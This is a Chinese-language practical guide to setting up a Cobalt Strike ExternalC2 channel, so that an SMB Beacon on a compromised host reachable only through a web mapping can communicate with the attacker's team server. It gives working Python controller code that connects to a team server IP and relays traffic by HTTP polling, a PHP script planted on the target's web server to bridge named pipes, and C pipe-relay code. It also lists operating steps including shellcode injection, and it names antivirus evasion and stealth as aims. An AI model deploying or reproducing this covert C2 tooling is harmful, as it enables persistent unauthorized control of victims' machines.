Cobalt Strike 的 ExternalC2
字数 1730 2025-08-26 22:11:56

Cobalt Strike ExternalC2 深度解析与实战指南

0x00 前言

Cobalt Strike 上线问题常见解决方案:

  • 目标存在杀软(被杀):使用 Shellcode 加载器
  • 目标存在杀软(拦截连接):自定义 C2 处理
  • 目标机是 Web 映射出网:特殊 C2 处理
  • 隔离网络:使用出网机器做跳板

本文重点解决第三种情况:Web 映射出网环境的上线问题。

0x01 前置知识点

1.1 管道机制

管道本质:一段系统内核的缓冲区,可视为伪文件,操作方式与文件类似(Create/Open/Read/Write/Close),但采用消息队列的数据结构(环形队列)。

管道类型

  • 匿名管道(pipe):用于父子进程通信
  • 命名管道(FIFO):可用于任意两个进程通信

服务端流程

  1. 创建管道
  2. 监听
  3. 读写
  4. 关闭

客户端流程

  1. 打开命名管道获取句柄
  2. 写入数据
  3. 等待回复

1.2 SMB Beacon

SMB Beacon 使用命名管道通过父 Beacon 进行通信,特点:

  • 点对点通信可在同一主机或外部网络实现
  • 在 SMB 协议中封装命名管道进行通信
  • 运行后创建自定义命名管道(作为服务端)等待连接

0x02 External C2 框架

External C2 是 Cobalt Strike 提供的扩展框架,允许自定义 C2 通信渠道,突破默认的 HTTP(S)/DNS/SMB/TCP 限制。

核心组件

  1. 第三方控制端(Controller):连接 TeamServer,使用自定义 C2 通道与客户端通信
  2. 第三方客户端(Client):使用自定义 C2 通道与 Controller 通信,转发命令至 SMB Beacon
  3. SMB Beacon:在受害者主机上执行的标准 beacon

0x03 标准 External C2 工作流程

3.1 ExternalC2 服务启动

使用 externalc2_start() 函数启动服务:

externalc2_start("0.0.0.0", 2222);

服务功能:

  1. 等待 Controller 连接并传输配置信息
  2. 生成并下发 Payload Stage
  3. 接收和转发信息

3.2 Controller 实现

关键代码示例

# 连接 ExternalC2 平台
_socketToExternalC2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketToExternalC2.connect(("193.10.20.123", 2222))

# 数据格式编码/解码
def encodeFormat(data):
    return struct.pack("<I", len(data)) + data

def decodeFormat(data):
    length = struct.unpack("<I", data[0:3])
    body = data[4:]
    return (length, body)

# 发送配置选项
sendToTS("arch=x86")
sendToTS("pipename=rcoil")
sendToTS("block=500")
sendToTS("go")

# 接收 Payload Stage
data = recvFromExternalC2()

# 监听客户端连接
_socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketBeacon.bind(("0.0.0.0", 8088))
_socketBeacon.listen(1)
_socketClient = _socketBeacon.accept()[0]

3.3 Client (EXE) 实现

关键流程

  1. 连接 Controller 并接收 Payload Stage
  2. 使用进程注入方法加载 Payload
  3. 连接 SMB Beacon 的命名管道
  4. 进入数据收发循环

0x04 Web 出网环境特殊配置

针对 Web 映射出网环境,需修改标准流程:

  1. 在目标机器编写管道读写脚本(Client-Web)
  2. Controller 主动轮询获取数据(变主动为被动)

4.1 改进版 Controller

关键修改

def read_http(req, url):
    res = req.get(url + "?action=read")
    return res.content

def write_http(req, url, data):
    length = struct.pack("<I", len(data))
    data = length + data
    req.post(url + "?action=write", data=data)

def ctrl_loop(s, req, url):
    while True:
        data = read_http(req, url)
        senddata_pack(s, data)
        recvdata = recvdata_unpack(s)
        write_http(req, url, recvdata)
        time.sleep(3)  # 必要的延迟

4.2 Client-Web 实现

PHP 示例

function readpipe($name){
    $name = "pipe\\".$name;
    $fp = fopen($name, "rb");
    $len = fread($fp, 4);
    $len = unpack("v", $len)[1];
    $data = fread($fp, $len);
    fclose($fp);
    echo $data;
    return $data;
}

function writepipe($name){
    $name = "pipe\\".$name;
    $fp = fopen($name, "wb");
    $data = file_get_contents("php://input");
    fwrite($fp, $data);
    fclose($fp);
}

if(isset($_GET['action'])){
    if ($_GET['action'] == 'read'){
        readpipe("readrcoil");
    } elseif ($_GET['action'] == 'write'){
        writepipe("writercoil");
    }
} else {
    echo "OK";
}

4.3 Client-EXE 实现

C 语言关键代码

// 管道读写桥接结构
struct BRIDGE {
    HANDLE client;
    HANDLE server;
};

// 从beacon读取数据
DWORD read_frame(HANDLE my_handle, char* buffer, DWORD max) {
    DWORD size = 0, temp = 0, total = 0;
    ReadFile(my_handle, (char*)&size, 4, &temp, NULL);
    while (total < size) {
        ReadFile(my_handle, buffer + total, size - total, &temp, NULL);
        total += temp;
    }
    return size;
}

// 向beacon写入数据
void write_frame(HANDLE my_handle, char* buffer, DWORD length) {
    DWORD wrote = 0;
    WriteFile(my_handle, (void*)&length, 4, &wrote, NULL);
    WriteFile(my_handle, buffer, length, &wrote, NULL);
}

0x05 实战操作指南

5.1 环境准备

  1. 加载 ExternalC2.cna 脚本
  2. 启动 Controller 程序
  3. 部署 Client-Web 脚本到目标Web服务器

5.2 执行流程

  1. 使用加载器注入 SMB Beacon shellcode
  2. 检查命名管道是否创建成功(\\.\pipe\rcoil
  3. 运行 Client-EXE 程序建立桥接
  4. 在 Cobalt Strike 中确认上线

5.3 常见问题解决

  1. 权限问题:以管理员权限运行 PipeOption.exe
  2. 管道通信失败:可改为文件读写方式替代命名管道
  3. 心跳正常但功能异常:检查数据格式和传输延迟

0x06 优化建议

  1. 使用 C# 重写客户端程序提高稳定性
  2. 实现加密通信增强隐蔽性
  3. 增加错误处理和重试机制
  4. 针对不同Web环境(ASP/JSP等)编写对应版本的Client-Web

0x07 参考资源

  1. ExternalC2 官方规范文档
  2. XPN 的 Controller 实现
  3. hl0rey 的 Web ExternalC2 Demo

通过本方案,可有效解决 Web 映射出网环境下的 C2 通信问题,同时保持较高的隐蔽性和稳定性。实际应用中应根据具体环境调整实现细节。

Cobalt Strike ExternalC2 深度解析与实战指南 0x00 前言 Cobalt Strike 上线问题常见解决方案: 目标存在杀软(被杀) :使用 Shellcode 加载器 目标存在杀软(拦截连接) :自定义 C2 处理 目标机是 Web 映射出网 :特殊 C2 处理 隔离网络 :使用出网机器做跳板 本文重点解决第三种情况:Web 映射出网环境的上线问题。 0x01 前置知识点 1.1 管道机制 管道本质 :一段系统内核的缓冲区,可视为伪文件,操作方式与文件类似(Create/Open/Read/Write/Close),但采用消息队列的数据结构(环形队列)。 管道类型 : 匿名管道(pipe) :用于父子进程通信 命名管道(FIFO) :可用于任意两个进程通信 服务端流程 : 创建管道 监听 读写 关闭 客户端流程 : 打开命名管道获取句柄 写入数据 等待回复 1.2 SMB Beacon SMB Beacon 使用命名管道通过父 Beacon 进行通信,特点: 点对点通信可在同一主机或外部网络实现 在 SMB 协议中封装命名管道进行通信 运行后创建自定义命名管道(作为服务端)等待连接 0x02 External C2 框架 External C2 是 Cobalt Strike 提供的扩展框架,允许自定义 C2 通信渠道,突破默认的 HTTP(S)/DNS/SMB/TCP 限制。 核心组件 : 第三方控制端(Controller) :连接 TeamServer,使用自定义 C2 通道与客户端通信 第三方客户端(Client) :使用自定义 C2 通道与 Controller 通信,转发命令至 SMB Beacon SMB Beacon :在受害者主机上执行的标准 beacon 0x03 标准 External C2 工作流程 3.1 ExternalC2 服务启动 使用 externalc2_start() 函数启动服务: 服务功能: 等待 Controller 连接并传输配置信息 生成并下发 Payload Stage 接收和转发信息 3.2 Controller 实现 关键代码示例 : 3.3 Client (EXE) 实现 关键流程 : 连接 Controller 并接收 Payload Stage 使用进程注入方法加载 Payload 连接 SMB Beacon 的命名管道 进入数据收发循环 0x04 Web 出网环境特殊配置 针对 Web 映射出网环境,需修改标准流程: 在目标机器编写管道读写脚本(Client-Web) Controller 主动轮询获取数据(变主动为被动) 4.1 改进版 Controller 关键修改 : 4.2 Client-Web 实现 PHP 示例 : 4.3 Client-EXE 实现 C 语言关键代码 : 0x05 实战操作指南 5.1 环境准备 加载 ExternalC2.cna 脚本 启动 Controller 程序 部署 Client-Web 脚本到目标Web服务器 5.2 执行流程 使用加载器注入 SMB Beacon shellcode 检查命名管道是否创建成功( \\.\pipe\rcoil ) 运行 Client-EXE 程序建立桥接 在 Cobalt Strike 中确认上线 5.3 常见问题解决 权限问题 :以管理员权限运行 PipeOption.exe 管道通信失败 :可改为文件读写方式替代命名管道 心跳正常但功能异常 :检查数据格式和传输延迟 0x06 优化建议 使用 C# 重写客户端程序提高稳定性 实现加密通信增强隐蔽性 增加错误处理和重试机制 针对不同Web环境(ASP/JSP等)编写对应版本的Client-Web 0x07 参考资源 ExternalC2 官方规范文档 XPN 的 Controller 实现 hl0rey 的 Web ExternalC2 Demo 通过本方案,可有效解决 Web 映射出网环境下的 C2 通信问题,同时保持较高的隐蔽性和稳定性。实际应用中应根据具体环境调整实现细节。